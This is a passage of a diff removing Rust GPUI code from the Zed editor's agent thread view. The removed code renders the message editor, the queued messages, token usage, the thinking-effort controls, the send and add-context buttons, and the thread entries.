-                                            thread.cancel(cx).detach();
-                                        });
-                                    }),
-                            )
-                        })
-                        .child(
-                            IconButton::new("minimize_subagent", IconName::Minimize)
-                                .icon_size(IconSize::Small)
-                                .tooltip(Tooltip::text("Minimize Subagent"))
-                                .on_click(move |_, window, cx| {
-                                    let _ = server_view.update(cx, |server_view, cx| {
-                                        server_view.navigate_to_session(
-                                            parent_session_id.clone(),
-                                            window,
-                                            cx,
-                                        );
-                                    });
-                                }),
-                        ),
-                ),
-        )
-    }
-
-    pub(crate) fn render_message_editor(
-        &mut self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> AnyElement {
-        if self.is_subagent() {
-            return div().into_any_element();
-        }
-
-        let focus_handle = self.message_editor.focus_handle(cx);
-        let editor_bg_color = cx.theme().colors().editor_background;
-        let editor_expanded = self.editor_expanded;
-        let (expand_icon, expand_tooltip) = if editor_expanded {
-            (IconName::Minimize, "Minimize Message Editor")
-        } else {
-            (IconName::Maximize, "Expand Message Editor")
-        };
-
-        v_flex()
-            .on_action(cx.listener(Self::expand_message_editor))
-            .p_2()
-            .gap_2()
-            .border_t_1()
-            .border_color(cx.theme().colors().border)
-            .bg(editor_bg_color)
-            .when(editor_expanded, |this| {
-                this.h(vh(0.8, window)).size_full().justify_between()
-            })
-            .child(
-                v_flex()
-                    .relative()
-                    .size_full()
-                    .pt_1()
-                    .pr_2p5()
-                    .child(self.message_editor.clone())
-                    .child(
-                        h_flex()
-                            .absolute()
-                            .top_0()
-                            .right_0()
-                            .opacity(0.5)
-                            .hover(|this| this.opacity(1.0))
-                            .child(
-                                IconButton::new("toggle-height", expand_icon)
-                                    .icon_size(IconSize::Small)
-                                    .icon_color(Color::Muted)
-                                    .tooltip({
-                                        move |_window, cx| {
-                                            Tooltip::for_action_in(
-                                                expand_tooltip,
-                                                &ExpandMessageEditor,
-                                                &focus_handle,
-                                                cx,
-                                            )
-                                        }
-                                    })
-                                    .on_click(cx.listener(|this, _, window, cx| {
-                                        this.expand_message_editor(
-                                            &ExpandMessageEditor,
-                                            window,
-                                            cx,
-                                        );
-                                    })),
-                            ),
-                    ),
-            )
-            .child(
-                h_flex()
-                    .flex_none()
-                    .flex_wrap()
-                    .justify_between()
-                    .child(
-                        h_flex()
-                            .gap_0p5()
-                            .child(self.render_add_context_button(cx))
-                            .child(self.render_follow_toggle(cx))
-                            .children(self.render_thinking_control(cx)),
-                    )
-                    .child(
-                        h_flex()
-                            .gap_1()
-                            .children(self.render_token_usage(cx))
-                            .children(self.profile_selector.clone())
-                            .map(|this| {
-                                // Either config_options_view OR (mode_selector + model_selector)
-                                match self.config_options_view.clone() {
-                                    Some(config_view) => this.child(config_view),
-                                    None => this
-                                        .children(self.mode_selector.clone())
-                                        .children(self.model_selector.clone()),
-                                }
-                            })
-                            .child(self.render_send_button(cx)),
-                    ),
-            )
-            .into_any()
-    }
-
-    fn render_message_queue_entries(
-        &self,
-        _window: &mut Window,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let message_editor = self.message_editor.read(cx);
-        let focus_handle = message_editor.focus_handle(cx);
-
-        let queued_message_editors = &self.queued_message_editors;
-        let queue_len = queued_message_editors.len();
-        let can_fast_track = self.can_fast_track_queue && queue_len > 0;
-
-        v_flex()
-            .id("message_queue_list")
-            .max_h_40()
-            .overflow_y_scroll()
-            .children(
-                queued_message_editors
-                    .iter()
-                    .enumerate()
-                    .map(|(index, editor)| {
-                        let is_next = index == 0;
-                        let (icon_color, tooltip_text) = if is_next {
-                            (Color::Accent, "Next in Queue")
-                        } else {
-                            (Color::Muted, "In Queue")
-                        };
-
-                        let editor_focused = editor.focus_handle(cx).is_focused(_window);
-                        let keybinding_size = rems_from_px(12.);
-
-                        h_flex()
-                            .group("queue_entry")
-                            .w_full()
-                            .p_1p5()
-                            .gap_1()
-                            .bg(cx.theme().colors().editor_background)
-                            .when(index < queue_len - 1, |this| {
-                                this.border_b_1()
-                                    .border_color(cx.theme().colors().border_variant)
-                            })
-                            .child(
-                                div()
-                                    .id("next_in_queue")
-                                    .child(
-                                        Icon::new(IconName::Circle)
-                                            .size(IconSize::Small)
-                                            .color(icon_color),
-                                    )
-                                    .tooltip(Tooltip::text(tooltip_text)),
-                            )
-                            .child(editor.clone())
-                            .child(if editor_focused {
-                                h_flex()
-                                    .gap_1()
-                                    .min_w_40()
-                                    .child(
-                                        IconButton::new(("cancel_edit", index), IconName::Close)
-                                            .icon_size(IconSize::Small)
-                                            .icon_color(Color::Error)
-                                            .tooltip({
-                                                let focus_handle = editor.focus_handle(cx);
-                                                move |_window, cx| {
-                                                    Tooltip::for_action_in(
-                                                        "Cancel Edit",
-                                                        &editor::actions::Cancel,
-                                                        &focus_handle,
-                                                        cx,
-                                                    )
-                                                }
-                                            })
-                                            .on_click({
-                                                let main_editor = self.message_editor.clone();
-                                                cx.listener(move |_, _, window, cx| {
-                                                    window.focus(&main_editor.focus_handle(cx), cx);
-                                                })
-                                            }),
-                                    )
-                                    .child(
-                                        IconButton::new(("save_edit", index), IconName::Check)
-                                            .icon_size(IconSize::Small)
-                                            .icon_color(Color::Success)
-                                            .tooltip({
-                                                let focus_handle = editor.focus_handle(cx);
-                                                move |_window, cx| {
-                                                    Tooltip::for_action_in(
-                                                        "Save Edit",
-                                                        &Chat,
-                                                        &focus_handle,
-                                                        cx,
-                                                    )
-                                                }
-                                            })
-                                            .on_click({
-                                                let main_editor = self.message_editor.clone();
-                                                cx.listener(move |_, _, window, cx| {
-                                                    window.focus(&main_editor.focus_handle(cx), cx);
-                                                })
-                                            }),
-                                    )
-                                    .child(
-                                        Button::new(("send_now_focused", index), "Send Now")
-                                            .label_size(LabelSize::Small)
-                                            .style(ButtonStyle::Outlined)
-                                            .key_binding(
-                                                KeyBinding::for_action_in(
-                                                    &SendImmediately,
-                                                    &editor.focus_handle(cx),
-                                                    cx,
-                                                )
-                                                .map(|kb| kb.size(keybinding_size)),
-                                            )
-                                            .on_click(cx.listener(move |this, _, window, cx| {
-                                                this.send_queued_message_at_index(
-                                                    index, true, window, cx,
-                                                );
-                                            })),
-                                    )
-                            } else {
-                                h_flex()
-                                    .gap_1()
-                                    .when(!is_next, |this| this.visible_on_hover("queue_entry"))
-                                    .child(
-                                        IconButton::new(("edit", index), IconName::Pencil)
-                                            .icon_size(IconSize::Small)
-                                            .tooltip({
-                                                let focus_handle = focus_handle.clone();
-                                                move |_window, cx| {
-                                                    if is_next {
-                                                        Tooltip::for_action_in(
-                                                            "Edit",
-                                                            &EditFirstQueuedMessage,
-                                                            &focus_handle,
-                                                            cx,
-                                                        )
-                                                    } else {
-                                                        Tooltip::simple("Edit", cx)
-                                                    }
-                                                }
-                                            })
-                                            .on_click({
-                                                let editor = editor.clone();
-                                                cx.listener(move |_, _, window, cx| {
-                                                    window.focus(&editor.focus_handle(cx), cx);
-                                                })
-                                            }),
-                                    )
-                                    .child(
-                                        IconButton::new(("delete", index), IconName::Trash)
-                                            .icon_size(IconSize::Small)
-                                            .tooltip({
-                                                let focus_handle = focus_handle.clone();
-                                                move |_window, cx| {
-                                                    if is_next {
-                                                        Tooltip::for_action_in(
-                                                            "Remove Message from Queue",
-                                                            &RemoveFirstQueuedMessage,
-                                                            &focus_handle,
-                                                            cx,
-                                                        )
-                                                    } else {
-                                                        Tooltip::simple(
-                                                            "Remove Message from Queue",
-                                                            cx,
-                                                        )
-                                                    }
-                                                }
-                                            })
-                                            .on_click(cx.listener(move |this, _, _, cx| {
-                                                this.remove_from_queue(index, cx);
-                                                cx.notify();
-                                            })),
-                                    )
-                                    .child(
-                                        Button::new(("send_now", index), "Send Now")
-                                            .label_size(LabelSize::Small)
-                                            .when(is_next && message_editor.is_empty(cx), |this| {
-                                                let action: Box<dyn gpui::Action> =
-                                                    if can_fast_track {
-                                                        Box::new(Chat)
-                                                    } else {
-                                                        Box::new(SendNextQueuedMessage)
-                                                    };
-
-                                                this.style(ButtonStyle::Outlined).key_binding(
-                                                    KeyBinding::for_action_in(
-                                                        action.as_ref(),
-                                                        &focus_handle.clone(),
-                                                        cx,
-                                                    )
-                                                    .map(|kb| kb.size(keybinding_size)),
-                                                )
-                                            })
-                                            .when(is_next && !message_editor.is_empty(cx), |this| {
-                                                this.style(ButtonStyle::Outlined)
-                                            })
-                                            .on_click(cx.listener(move |this, _, window, cx| {
-                                                this.send_queued_message_at_index(
-                                                    index, true, window, cx,
-                                                );
-                                            })),
-                                    )
-                            })
-                    }),
-            )
-            .into_any_element()
-    }
-
-    fn supports_split_token_display(&self, cx: &App) -> bool {
-        self.as_native_thread(cx)
-            .and_then(|thread| thread.read(cx).model())
-            .is_some_and(|model| model.supports_split_token_display())
-    }
-
-    fn render_token_usage(&self, cx: &mut Context<Self>) -> Option<impl IntoElement> {
-        let thread = self.thread.read(cx);
-        let usage = thread.token_usage()?;
-        let is_generating = thread.status() != ThreadStatus::Idle;
-        let show_split = self.supports_split_token_display(cx);
-
-        let separator_color = Color::Custom(cx.theme().colors().text_muted.opacity(0.5));
-        let token_label = |text: String, animation_id: &'static str| {
-            Label::new(text)
-                .size(LabelSize::Small)
-                .color(Color::Muted)
-                .map(|label| {
-                    if is_generating {
-                        label
-                            .with_animation(
-                                animation_id,
-                                Animation::new(Duration::from_secs(2))
-                                    .repeat()
-                                    .with_easing(pulsating_between(0.3, 0.8)),
-                                |label, delta| label.alpha(delta),
-                            )
-                            .into_any()
-                    } else {
-                        label.into_any_element()
-                    }
-                })
-        };
-
-        if show_split {
-            let max_output_tokens = self
-                .as_native_thread(cx)
-                .and_then(|thread| thread.read(cx).model())
-                .and_then(|model| model.max_output_tokens())
-                .unwrap_or(0);
-
-            let input = crate::text_thread_editor::humanize_token_count(usage.input_tokens);
-            let input_max = crate::text_thread_editor::humanize_token_count(
-                usage.max_tokens.saturating_sub(max_output_tokens),
-            );
-            let output = crate::text_thread_editor::humanize_token_count(usage.output_tokens);
-            let output_max = crate::text_thread_editor::humanize_token_count(max_output_tokens);
-
-            Some(
-                h_flex()
-                    .flex_shrink_0()
-                    .gap_1()
-                    .mr_1p5()
-                    .child(
-                        h_flex()
-                            .gap_0p5()
-                            .child(
-                                Icon::new(IconName::ArrowUp)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Muted),
-                            )
-                            .child(token_label(input, "input-tokens-label"))
-                            .child(
-                                Label::new("/")
-                                    .size(LabelSize::Small)
-                                    .color(separator_color),
-                            )
-                            .child(
-                                Label::new(input_max)
-                                    .size(LabelSize::Small)
-                                    .color(Color::Muted),
-                            ),
-                    )
-                    .child(
-                        h_flex()
-                            .gap_0p5()
-                            .child(
-                                Icon::new(IconName::ArrowDown)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Muted),
-                            )
-                            .child(token_label(output, "output-tokens-label"))
-                            .child(
-                                Label::new("/")
-                                    .size(LabelSize::Small)
-                                    .color(separator_color),
-                            )
-                            .child(
-                                Label::new(output_max)
-                                    .size(LabelSize::Small)
-                                    .color(Color::Muted),
-                            ),
-                    )
-                    .into_any_element(),
-            )
-        } else {
-            let used = crate::text_thread_editor::humanize_token_count(usage.used_tokens);
-            let max = crate::text_thread_editor::humanize_token_count(usage.max_tokens);
-            let progress_ratio = if usage.max_tokens > 0 {
-                usage.used_tokens as f32 / usage.max_tokens as f32
-            } else {
-                0.0
-            };
-
-            let progress_color = if progress_ratio >= 0.85 {
-                cx.theme().status().warning
-            } else {
-                cx.theme().colors().text_muted
-            };
-            let separator_color = Color::Custom(cx.theme().colors().text_disabled.opacity(0.6));
-
-            let percentage = format!("{}%", (progress_ratio * 100.0).round() as u32);
-
-            let (user_rules_count, project_rules_count) = self
-                .as_native_thread(cx)
-                .map(|thread| {
-                    let project_context = thread.read(cx).project_context().read(cx);
-                    let user_rules = project_context.user_rules.len();
-                    let project_rules = project_context
-                        .worktrees
-                        .iter()
-                        .filter(|wt| wt.rules_file.is_some())
-                        .count();
-                    (user_rules, project_rules)
-                })
-                .unwrap_or((0, 0));
-
-            Some(
-                h_flex()
-                    .id("circular_progress_tokens")
-                    .mt_px()
-                    .mr_1()
-                    .child(
-                        CircularProgress::new(
-                            usage.used_tokens as f32,
-                            usage.max_tokens as f32,
-                            px(16.0),
-                            cx,
-                        )
-                        .stroke_width(px(2.))
-                        .progress_color(progress_color),
-                    )
-                    .tooltip(Tooltip::element({
-                        move |_, cx| {
-                            v_flex()
-                                .min_w_40()
-                                .child(
-                                    Label::new("Context")
-                                        .color(Color::Muted)
-                                        .size(LabelSize::Small),
-                                )
-                                .child(
-                                    h_flex()
-                                        .gap_0p5()
-                                        .child(Label::new(percentage.clone()))
-                                        .child(Label::new("•").color(separator_color).mx_1())
-                                        .child(Label::new(used.clone()))
-                                        .child(Label::new("/").color(separator_color))
-                                        .child(Label::new(max.clone()).color(Color::Muted)),
-                                )
-                                .when(user_rules_count > 0 || project_rules_count > 0, |this| {
-                                    this.child(
-                                        v_flex()
-                                            .mt_1p5()
-                                            .pt_1p5()
-                                            .border_t_1()
-                                            .border_color(cx.theme().colors().border_variant)
-                                            .child(
-                                                Label::new("Rules")
-                                                    .color(Color::Muted)
-                                                    .size(LabelSize::Small),
-                                            )
-                                            .when(user_rules_count > 0, |this| {
-                                                this.child(Label::new(format!(
-                                                    "{} user rules",
-                                                    user_rules_count
-                                                )))
-                                            })
-                                            .when(project_rules_count > 0, |this| {
-                                                this.child(Label::new(format!(
-                                                    "{} project rules",
-                                                    project_rules_count
-                                                )))
-                                            }),
-                                    )
-                                })
-                                .into_any_element()
-                        }
-                    }))
-                    .into_any_element(),
-            )
-        }
-    }
-
-    fn render_thinking_control(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
-        let thread = self.as_native_thread(cx)?.read(cx);
-        let model = thread.model()?;
-
-        let supports_thinking = model.supports_thinking();
-        if !supports_thinking {
-            return None;
-        }
-
-        let thinking = thread.thinking_enabled();
-
-        let (tooltip_label, icon, color) = if thinking {
-            (
-                "Disable Thinking Mode",
-                IconName::ThinkingMode,
-                Color::Muted,
-            )
-        } else {
-            (
-                "Enable Thinking Mode",
-                IconName::ThinkingModeOff,
-                Color::Custom(cx.theme().colors().icon_disabled.opacity(0.8)),
-            )
-        };
-
-        let focus_handle = self.message_editor.focus_handle(cx);
-
-        let thinking_toggle = IconButton::new("thinking-mode", icon)
-            .icon_size(IconSize::Small)
-            .icon_color(color)
-            .tooltip(move |_, cx| {
-                Tooltip::for_action_in(tooltip_label, &ToggleThinkingMode, &focus_handle, cx)
-            })
-            .on_click(cx.listener(move |this, _, _window, cx| {
-                if let Some(thread) = this.as_native_thread(cx) {
-                    thread.update(cx, |thread, cx| {
-                        let enable_thinking = !thread.thinking_enabled();
-                        thread.set_thinking_enabled(enable_thinking, cx);
-
-                        let fs = thread.project().read(cx).fs().clone();
-                        update_settings_file(fs, cx, move |settings, _| {
-                            if let Some(agent) = settings.agent.as_mut()
-                                && let Some(default_model) = agent.default_model.as_mut()
-                            {
-                                default_model.enable_thinking = enable_thinking;
-                            }
-                        });
-                    });
-                }
-            }));
-
-        if model.supported_effort_levels().is_empty() {
-            return Some(thinking_toggle.into_any_element());
-        }
-
-        if !model.supported_effort_levels().is_empty() && !thinking {
-            return Some(thinking_toggle.into_any_element());
-        }
-
-        let left_btn = thinking_toggle;
-        let right_btn = self.render_effort_selector(
-            model.supported_effort_levels(),
-            thread.thinking_effort().cloned(),
-            cx,
-        );
-
-        Some(
-            SplitButton::new(left_btn, right_btn.into_any_element())
-                .style(SplitButtonStyle::Transparent)
-                .into_any_element(),
-        )
-    }
-
-    fn render_effort_selector(
-        &self,
-        supported_effort_levels: Vec<LanguageModelEffortLevel>,
-        selected_effort: Option<String>,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let weak_self = cx.weak_entity();
-
-        let default_effort_level = supported_effort_levels
-            .iter()
-            .find(|effort_level| effort_level.is_default)
-            .cloned();
-
-        let selected = selected_effort.and_then(|effort| {
-            supported_effort_levels
-                .iter()
-                .find(|level| level.value == effort)
-                .cloned()
-        });
-
-        let label = selected
-            .clone()
-            .or(default_effort_level)
-            .map_or("Select Effort".into(), |effort| effort.name);
-
-        let (label_color, icon) = if self.thinking_effort_menu_handle.is_deployed() {
-            (Color::Accent, IconName::ChevronUp)
-        } else {
-            (Color::Muted, IconName::ChevronDown)
-        };
-
-        let focus_handle = self.message_editor.focus_handle(cx);
-        let show_cycle_row = supported_effort_levels.len() > 1;
-
-        let tooltip = Tooltip::element({
-            move |_, cx| {
-                let mut content = v_flex().gap_1().child(
-                    h_flex()
-                        .gap_2()
-                        .justify_between()
-                        .child(Label::new("Change Thinking Effort"))
-                        .child(KeyBinding::for_action_in(
-                            &ToggleThinkingEffortMenu,
-                            &focus_handle,
-                            cx,
-                        )),
-                );
-
-                if show_cycle_row {
-                    content = content.child(
-                        h_flex()
-                            .pt_1()
-                            .gap_2()
-                            .justify_between()
-                            .border_t_1()
-                            .border_color(cx.theme().colors().border_variant)
-                            .child(Label::new("Cycle Thinking Effort"))
-                            .child(KeyBinding::for_action_in(
-                                &CycleThinkingEffort,
-                                &focus_handle,
-                                cx,
-                            )),
-                    );
-                }
-
-                content.into_any_element()
-            }
-        });
-
-        PopoverMenu::new("effort-selector")
-            .trigger_with_tooltip(
-                ButtonLike::new_rounded_right("effort-selector-trigger")
-                    .selected_style(ButtonStyle::Tinted(TintColor::Accent))
-                    .child(Label::new(label).size(LabelSize::Small).color(label_color))
-                    .child(Icon::new(icon).size(IconSize::XSmall).color(Color::Muted)),
-                tooltip,
-            )
-            .menu(move |window, cx| {
-                Some(ContextMenu::build(window, cx, |mut menu, _window, _cx| {
-                    menu = menu.header("Change Thinking Effort");
-
-                    for effort_level in supported_effort_levels.clone() {
-                        let is_selected = selected
-                            .as_ref()
-                            .is_some_and(|selected| selected.value == effort_level.value);
-                        let entry = ContextMenuEntry::new(effort_level.name)
-                            .toggleable(IconPosition::End, is_selected);
-
-                        menu.push_item(entry.handler({
-                            let effort = effort_level.value.clone();
-                            let weak_self = weak_self.clone();
-                            move |_window, cx| {
-                                let effort = effort.clone();
-                                weak_self
-                                    .update(cx, |this, cx| {
-                                        if let Some(thread) = this.as_native_thread(cx) {
-                                            thread.update(cx, |thread, cx| {
-                                                thread.set_thinking_effort(
-                                                    Some(effort.to_string()),
-                                                    cx,
-                                                );
-
-                                                let fs = thread.project().read(cx).fs().clone();
-                                                update_settings_file(fs, cx, move |settings, _| {
-                                                    if let Some(agent) = settings.agent.as_mut()
-                                                        && let Some(default_model) =
-                                                            agent.default_model.as_mut()
-                                                    {
-                                                        default_model.effort =
-                                                            Some(effort.to_string());
-                                                    }
-                                                });
-                                            });
-                                        }
-                                    })
-                                    .ok();
-                            }
-                        }));
-                    }
-
-                    menu
-                }))
-            })
-            .with_handle(self.thinking_effort_menu_handle.clone())
-            .offset(gpui::Point {
-                x: px(0.0),
-                y: px(-2.0),
-            })
-            .anchor(Corner::BottomLeft)
-    }
-
-    fn render_send_button(&self, cx: &mut Context<Self>) -> AnyElement {
-        let message_editor = self.message_editor.read(cx);
-        let is_editor_empty = message_editor.is_empty(cx);
-        let focus_handle = message_editor.focus_handle(cx);
-
-        let is_generating = self.thread.read(cx).status() != ThreadStatus::Idle;
-
-        if self.is_loading_contents {
-            div()
-                .id("loading-message-content")
-                .px_1()
-                .tooltip(Tooltip::text("Loading Added Context…"))
-                .child(loading_contents_spinner(IconSize::default()))
-                .into_any_element()
-        } else if is_generating && is_editor_empty {
-            IconButton::new("stop-generation", IconName::Stop)
-                .icon_color(Color::Error)
-                .style(ButtonStyle::Tinted(TintColor::Error))
-                .tooltip(move |_window, cx| {
-                    Tooltip::for_action("Stop Generation", &editor::actions::Cancel, cx)
-                })
-                .on_click(cx.listener(|this, _event, _, cx| this.cancel_generation(cx)))
-                .into_any_element()
-        } else {
-            IconButton::new("send-message", IconName::Send)
-                .style(ButtonStyle::Filled)
-                .map(|this| {
-                    if is_editor_empty && !is_generating {
-                        this.disabled(true).icon_color(Color::Muted)
-                    } else {
-                        this.icon_color(Color::Accent)
-                    }
-                })
-                .tooltip(move |_window, cx| {
-                    if is_editor_empty && !is_generating {
-                        Tooltip::for_action("Type to Send", &Chat, cx)
-                    } else if is_generating {
-                        let focus_handle = focus_handle.clone();
-
-                        Tooltip::element(move |_window, cx| {
-                            v_flex()
-                                .gap_1()
-                                .child(
-                                    h_flex()
-                                        .gap_2()
-                                        .justify_between()
-                                        .child(Label::new("Queue and Send"))
-                                        .child(KeyBinding::for_action_in(&Chat, &focus_handle, cx)),
-                                )
-                                .child(
-                                    h_flex()
-                                        .pt_1()
-                                        .gap_2()
-                                        .justify_between()
-                                        .border_t_1()
-                                        .border_color(cx.theme().colors().border_variant)
-                                        .child(Label::new("Send Immediately"))
-                                        .child(KeyBinding::for_action_in(
-                                            &SendImmediately,
-                                            &focus_handle,
-                                            cx,
-                                        )),
-                                )
-                                .into_any_element()
-                        })(_window, cx)
-                    } else {
-                        Tooltip::for_action("Send Message", &Chat, cx)
-                    }
-                })
-                .on_click(cx.listener(|this, _, window, cx| {
-                    this.send(window, cx);
-                }))
-                .into_any_element()
-        }
-    }
-
-    fn render_add_context_button(&mut self, cx: &mut Context<Self>) -> impl IntoElement {
-        let focus_handle = self.message_editor.focus_handle(cx);
-        let weak_self = cx.weak_entity();
-
-        PopoverMenu::new("add-context-menu")
-            .trigger_with_tooltip(
-                IconButton::new("add-context", IconName::Plus)
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Muted),
-                {
-                    move |_window, cx| {
-                        Tooltip::for_action_in(
-                            "Add Context",
-                            &OpenAddContextMenu,
-                            &focus_handle,
-                            cx,
-                        )
-                    }
-                },
-            )
-            .anchor(Corner::BottomLeft)
-            .with_handle(self.add_context_menu_handle.clone())
-            .offset(gpui::Point {
-                x: px(0.0),
-                y: px(-2.0),
-            })
-            .menu(move |window, cx| {
-                weak_self
-                    .update(cx, |this, cx| this.build_add_context_menu(window, cx))
-                    .ok()
-            })
-    }
-
-    fn build_add_context_menu(
-        &self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Entity<ContextMenu> {
-        let message_editor = self.message_editor.clone();
-        let workspace = self.workspace.clone();
-        let supports_images = self.prompt_capabilities.borrow().image;
-
-        let has_editor_selection = workspace
-            .upgrade()
-            .and_then(|ws| {
-                ws.read(cx)
-                    .active_item(cx)
-                    .and_then(|item| item.downcast::<Editor>())
-            })
-            .is_some_and(|editor| {
-                editor.update(cx, |editor, cx| {
-                    editor.has_non_empty_selection(&editor.display_snapshot(cx))
-                })
-            });
-
-        let has_terminal_selection = workspace
-            .upgrade()
-            .and_then(|ws| ws.read(cx).panel::<TerminalPanel>(cx))
-            .is_some_and(|panel| !panel.read(cx).terminal_selections(cx).is_empty());
-
-        let has_selection = has_editor_selection || has_terminal_selection;
-
-        ContextMenu::build(window, cx, move |menu, _window, _cx| {
-            menu.key_context("AddContextMenu")
-                .header("Context")
-                .item(
-                    ContextMenuEntry::new("Files & Directories")
-                        .icon(IconName::File)
-                        .icon_color(Color::Muted)
-                        .icon_size(IconSize::XSmall)
-                        .handler({
-                            let message_editor = message_editor.clone();
-                            move |window, cx| {
-                                message_editor.focus_handle(cx).focus(window, cx);
-                                message_editor.update(cx, |editor, cx| {
-                                    editor.insert_context_type("file", window, cx);
-                                });
-                            }
-                        }),
-                )
-                .item(
-                    ContextMenuEntry::new("Symbols")
-                        .icon(IconName::Code)
-                        .icon_color(Color::Muted)
-                        .icon_size(IconSize::XSmall)
-                        .handler({
-                            let message_editor = message_editor.clone();
-                            move |window, cx| {
-                                message_editor.focus_handle(cx).focus(window, cx);
-                                message_editor.update(cx, |editor, cx| {
-                                    editor.insert_context_type("symbol", window, cx);
-                                });
-                            }
-                        }),
-                )
-                .item(
-                    ContextMenuEntry::new("Threads")
-                        .icon(IconName::Thread)
-                        .icon_color(Color::Muted)
-                        .icon_size(IconSize::XSmall)
-                        .handler({
-                            let message_editor = message_editor.clone();
-                            move |window, cx| {
-                                message_editor.focus_handle(cx).focus(window, cx);
-                                message_editor.update(cx, |editor, cx| {
-                                    editor.insert_context_type("thread", window, cx);
-                                });
-                            }
-                        }),
-                )
-                .item(
-                    ContextMenuEntry::new("Rules")
-                        .icon(IconName::Reader)
-                        .icon_color(Color::Muted)
-                        .icon_size(IconSize::XSmall)
-                        .handler({
-                            let message_editor = message_editor.clone();
-                            move |window, cx| {
-                                message_editor.focus_handle(cx).focus(window, cx);
-                                message_editor.update(cx, |editor, cx| {
-                                    editor.insert_context_type("rule", window, cx);
-                                });
-                            }
-                        }),
-                )
-                .item(
-                    ContextMenuEntry::new("Image")
-                        .icon(IconName::Image)
-                        .icon_color(Color::Muted)
-                        .icon_size(IconSize::XSmall)
-                        .disabled(!supports_images)
-                        .handler({
-                            let message_editor = message_editor.clone();
-                            move |window, cx| {
-                                message_editor.focus_handle(cx).focus(window, cx);
-                                message_editor.update(cx, |editor, cx| {
-                                    editor.add_images_from_picker(window, cx);
-                                });
-                            }
-                        }),
-                )
-                .item(
-                    ContextMenuEntry::new("Selection")
-                        .icon(IconName::CursorIBeam)
-                        .icon_color(Color::Muted)
-                        .icon_size(IconSize::XSmall)
-                        .disabled(!has_selection)
-                        .handler({
-                            move |window, cx| {
-                                window.dispatch_action(
-                                    zed_actions::agent::AddSelectionToThread.boxed_clone(),
-                                    cx,
-                                );
-                            }
-                        }),
-                )
-        })
-    }
-
-    fn render_follow_toggle(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        let following = self.is_following(cx);
-
-        let tooltip_label = if following {
-            if self.agent_name == "Zed Agent" {
-                format!("Stop Following the {}", self.agent_name)
-            } else {
-                format!("Stop Following {}", self.agent_name)
-            }
-        } else {
-            if self.agent_name == "Zed Agent" {
-                format!("Follow the {}", self.agent_name)
-            } else {
-                format!("Follow {}", self.agent_name)
-            }
-        };
-
-        IconButton::new("follow-agent", IconName::Crosshair)
-            .icon_size(IconSize::Small)
-            .icon_color(Color::Muted)
-            .toggle_state(following)
-            .selected_icon_color(Some(Color::Custom(cx.theme().players().agent().cursor)))
-            .tooltip(move |_window, cx| {
-                if following {
-                    Tooltip::for_action(tooltip_label.clone(), &Follow, cx)
-                } else {
-                    Tooltip::with_meta(
-                        tooltip_label.clone(),
-                        Some(&Follow),
-                        "Track the agent's location as it reads and edits files.",
-                        cx,
-                    )
-                }
-            })
-            .on_click(cx.listener(move |this, _, window, cx| {
-                this.toggle_following(window, cx);
-            }))
-    }
-}
-
-impl AcpThreadView {
-    pub(crate) fn render_entries(&mut self, cx: &mut Context<Self>) -> List {
-        list(
-            self.list_state.clone(),
-            cx.processor(|this, index: usize, window, cx| {
-                let entries = this.thread.read(cx).entries();
-                let Some(entry) = entries.get(index) else {
-                    return Empty.into_any();
-                };
-                this.render_entry(index, entries.len(), entry, window, cx)
-            }),
-        )
-        .with_sizing_behavior(gpui::ListSizingBehavior::Auto)
-        .flex_grow()
-    }
-
-    fn render_entry(
-        &self,
-        entry_ix: usize,
-        total_entries: usize,
-        entry: &AgentThreadEntry,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let is_indented = entry.is_indented();
-        let is_first_indented = is_indented
-            && self
-                .thread
-                .read(cx)
-                .entries()
-                .get(entry_ix.saturating_sub(1))
-                .is_none_or(|entry| !entry.is_indented());
-
-        let primary = match &entry {
-            AgentThreadEntry::UserMessage(message) => {
-                let Some(editor) = self
-                    .entry_view_state
-                    .read(cx)
-                    .entry(entry_ix)
-                    .and_then(|entry| entry.message_editor())
-                    .cloned()
-                else {
-                    return Empty.into_any_element();
-                };
-
-                let editing = self.editing_message == Some(entry_ix);
-                let editor_focus = editor.focus_handle(cx).is_focused(window);
-                let focus_border = cx.theme().colors().border_focused;
-
-                let rules_item = if entry_ix == 0 {
-                    self.render_rules_item(cx)
-                } else {
-                    None
-                };
-
-                let has_checkpoint_button = message
-                    .checkpoint
-                    .as_ref()
-                    .is_some_and(|checkpoint| checkpoint.show);
-
-                let agent_name = self.agent_name.clone();
-                let is_subagent = self.is_subagent();
-
-                let non_editable_icon = || {
-                    IconButton::new("non_editable", IconName::PencilUnavailable)
-                        .icon_size(IconSize::Small)
-                        .icon_color(Color::Muted)
-                        .style(ButtonStyle::Transparent)
-                };
-
-                v_flex()
-                    .id(("user_message", entry_ix))
-                    .map(|this| {
-                        if is_first_indented {
-                            this.pt_0p5()
-                        } else if entry_ix == 0 && !has_checkpoint_button && rules_item.is_none()  {
-                            this.pt(rems_from_px(18.))
-                        } else if rules_item.is_some() {
-                            this.pt_3()
-                        } else {
-                            this.pt_2()
-                        }
-                    })
-                    .pb_3()
-                    .px_2()
-                    .gap_1p5()
-                    .w_full()
-                    .children(rules_item)
-                    .children(message.id.clone().and_then(|message_id| {
-                        message.checkpoint.as_ref()?.show.then(|| {
-                            h_flex()
-                                .px_3()
-                                .gap_2()
-                                .child(Divider::horizontal())
-                                .child(
-                                    Button::new("restore-checkpoint", "Restore Checkpoint")
-                                        .icon(IconName::Undo)
-                                        .icon_size(IconSize::XSmall)
-                                        .icon_position(IconPosition::Start)
-                                        .label_size(LabelSize::XSmall)
-                                        .icon_color(Color::Muted)
-                                        .color(Color::Muted)
-                                        .tooltip(Tooltip::text("Restores all files in the project to the content they had at this point in the conversation."))
-                                        .on_click(cx.listener(move |this, _, _window, cx| {
-                                            this.restore_checkpoint(&message_id, cx);
-                                        }))
-                                )
-                                .child(Divider::horizontal())
-                        })
-                    }))
-                    .child(
-                        div()
-                            .relative()
-                            .child(
-                                div()
-                                    .py_3()
-                                    .px_2()
-                                    .rounded_md()
-                                    .bg(cx.theme().colors().editor_background)
-                                    .border_1()
-                                    .when(is_indented, |this| {
